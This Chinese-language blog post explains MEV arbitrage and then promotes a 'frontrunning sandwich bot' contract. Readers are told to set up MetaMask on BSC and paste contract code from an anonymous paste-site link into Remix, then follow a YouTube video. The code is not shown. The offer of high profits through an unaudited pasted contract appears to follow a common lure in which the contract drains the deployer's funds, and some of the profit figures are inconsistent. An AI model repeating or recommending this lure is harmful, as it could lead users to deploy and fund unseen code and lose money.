# 夹子机器人合约源码（最优化算法极高命中率）代码部署和机器人使用教程

By [Web3Dev](https://paragraph.com/@web3dev-2) · 2024-08-10

---

**一、原理**

夹子机器人抢先交易套利的原理主要是针对EVM以太坊虚拟机交易池中的交易顺序进行排序时的潜在利润获取。MEV 是指矿工、验证者或交易订单者在将区块中的交易添加到链上之前通过对区块中的交易顺序后获取的潜在利润。这种重组交易顺序的行为也提供了获取利润的机会。

**套利**
------

首先，MEV 机器人发现 2 个流动性池之间存在价格差距；随后机器人可以在单笔交易中从低价池买入并在高价池卖出，从而产生利润。

例如，交易 A 是套利交易，点击交易 A 链接就可以在 Sentio 调试器的帮助下查看详细的资金流向、持仓变化和交易跟踪，以逐步了解此交易的执行情况。

![](https://storage.googleapis.com/papyrus_images/d22b8f6c9ea25b07f2d0e5ccc321447f0db145fa900a850237aa04a7a5eed303.png)

图中的 MEV 交易是由0x1a6 开头交易机器人发起的，本次交易中，MEV-bot 能够检测到 Uniswap V3 池中 SDEX 中 WETH 的价格比 SmarDex 池中的 WETH 价格更便宜（SmarDex 是一个类似 Uniswap V2 的 DEX）。MEV-bot 首先在低价池中 swap，然后将收到的 WETH 到高价池卖出，最终获利 0.07ETH（5.91-5.98）。

此外，本次交易中的第 5 步支付了 0.047 ETH 给 Flashbots，这是 MEV 机器人向区块构建者支付的贿赂，以使其包含在后面的区块中，考虑到贿赂费用，MEV 机器人私下赚取了 0.02 WETH 收益。

让我们更深入地了解 MEV-bot 是如何在 0x1a6 上找到获利机会的。可以看到本次 MEV 交易位于Block 17935927 上，在该交易之前，同一区块还有一笔交易 B，这笔交易在 SmarDex 池中进行了大额 swap（在 SDEX 上 swap 了 8.52 WETH），该交易使该池中的 ETH 价格上涨。

![](https://storage.googleapis.com/papyrus_images/dbd9240c73a9abec7f26ea4371f318799ad9576b5a9b68956e461d40f281eb28.png)

上面的 MEV-bot 很快注意到这一过程，并在这笔交易之后添加了自己的交易，抓住了这个「低入高出」的机会。

在交易被纳入区块之前，MEV 机器人如何发现交易的呢，这就不得不提到 mempool 了，在交易被添加到区块并上链前，它们存在于一个被称为 mempool 的池中，mempool 中的交易尚未确认时会等待纳入到下一个区块。区块构建者负责选择要纳入哪些交易以及按什么顺序纳入，这个过程可能会受到交易费用和 Gas 价格等因素的影响（这是 MEV 机器人为获得参与而支付的费用）。

在上述情况下，MEV 机器人可以查看所有 mempool 交易，并发现该某笔交易存在。随后 MEV 机器人在其后面添加另一笔交易，形成 bundle 以获取利润。MEV 机器人可以使用 Flashbot 等工具创建 bundle，并强制 bundle 交易包含在同一块中并按所需顺序执行。

事实上，在这个特定的区块中发生了更多的 MEV 交易。由于这是一个 Flashbot 构建块，你可以点击进入 Marto 构建的 Flashbot 浏览器来查看更多交易，并在 Sentio 调试器中查看资金流、余额变化和调用跟踪详细信息。

**二、夹子合约机器人部署和使用流程**

夹子机器人合约部署和使用视频教程：

[![]({{DOMAIN}}/editor/youtube/play.png)](https://www.youtube.com/watch?v=1Osm79vqa2k)

**操作步骤概况：**

第 1 步 - 在谷歌浏览器 中设置 MetaMask小狐狸 钱包

获取MetaMask小狐狸钱包地址：

[**The Ultimate Crypto Wallet for DeFi, Web3 Apps, and NFTs | MetaMask**](https://metamask.io/)

[https://metamask.io/](https://metamask.io/)

[https://metamask.io/](https://metamask.io/)

第 2 步 - 将币安智能链网络添加到 MetaMask

将BSC链添加到metamask钱包操作文档：

[**Connecting MetaMask to BNB Smart Chain | Binance Academy**](https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain)

[https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain](https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain)

[https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain](https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain)

第 3 步 - 打开Remix部署智能合约网站：

[**Remix - Ethereum IDE**](https://remix.ethereum.org/)

[https://remix.ethereum.org/](https://remix.ethereum.org/)

第 4 步 - 复制MEV夹子抢先交易套利机器人合约代码最新版本到remix

最新代码链接：

[**PancakeswapFrontrunBotUg - PancakeswapFrontrunBotUg**](https://paste.myst.rs/raw/1zfahia0/aeogbrc6)

[https://paste.myst.rs/raw/1zfahia0/aeogbrc6](https://paste.myst.rs/raw/1zfahia0/aeogbrc6)

第 5 步 - 按照视频教程继续操作

**四、夹子机器人源码部署及使用相关网址**

1.  获取MetaMask小狐狸钱包地址： [https://metamask.io/](https://metamask.io/)
    
2.  将币安智能链网络添加到 MetaMask：[https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain](https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain)
    
3.  Remix部署智能合约网站： [https://remix.ethereum.org/](https://remix.ethereum.org/)
    
4.  夹子抢先交易套利机器人合约代码链接：[https://paste.myst.rs/raw/1zfahia0/aeogbrc6](https://paste.myst.rs/raw/1zfahia0/aeogbrc6)

---

*Originally published on [Web3Dev](https://paragraph.com/@web3dev-2/zVZxmf5uQ9J7TQmpl6ww)*
